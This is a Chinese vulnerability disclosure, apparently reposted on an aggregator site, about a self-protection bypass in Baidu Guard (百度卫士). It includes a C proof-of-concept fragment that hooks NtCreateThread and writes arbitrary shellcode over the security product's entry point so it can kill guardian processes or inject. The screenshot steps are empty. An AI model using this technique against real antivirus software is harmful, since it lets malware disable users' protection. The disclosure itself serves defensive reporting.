百度卫士全防备失效漏洞1

百度卫士是百度公司出品的简单可信赖的系统工具软件，集电脑加速、系统清理、安全维护三大功能于一身，为用户提供优质的电脑及网络安全服务。

开启百度卫士全防御环境下，普通用户态程序即可杀掉百度卫士所有守护进程。

1.触发exp：

2.exp运行后：

3.恶意程序轻易注入explorer：

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8){// 修改EXE镜像入口点VirtualProtectEx(p4, (LPVOID)0x4027EF, 0x400, PAGE_EXECUTE_READWRITE, &oldProtect);// shellcode可以是任意代码，结束守护进程、装驱动、注入......WriteProcessMemory(p4, (LPVOID)0x4027EF, shellCode, sizeof(shellCode), &dwWrite);return lRes = (fnCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);}LPCTSTR lpszProcess = _T("C:\\Program Files\\Baidu\\BaiduAn\\4.0.0.4830\\BaiduAn.exe");PROCESS_INFORMATION pi = { 0 };STARTUPINFO si = { 0 };si.cb = sizeof(STARTUPINFO);DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnCreateThread));CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

修复方案：

加强自保护的防御覆盖度

就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享，转载请注明出处。

百度卫士，顺承“三不”理念，致力于为用户提供轻巧、快速、智能、纯净的产品体验。

……

标签:百度百度卫士杀毒软件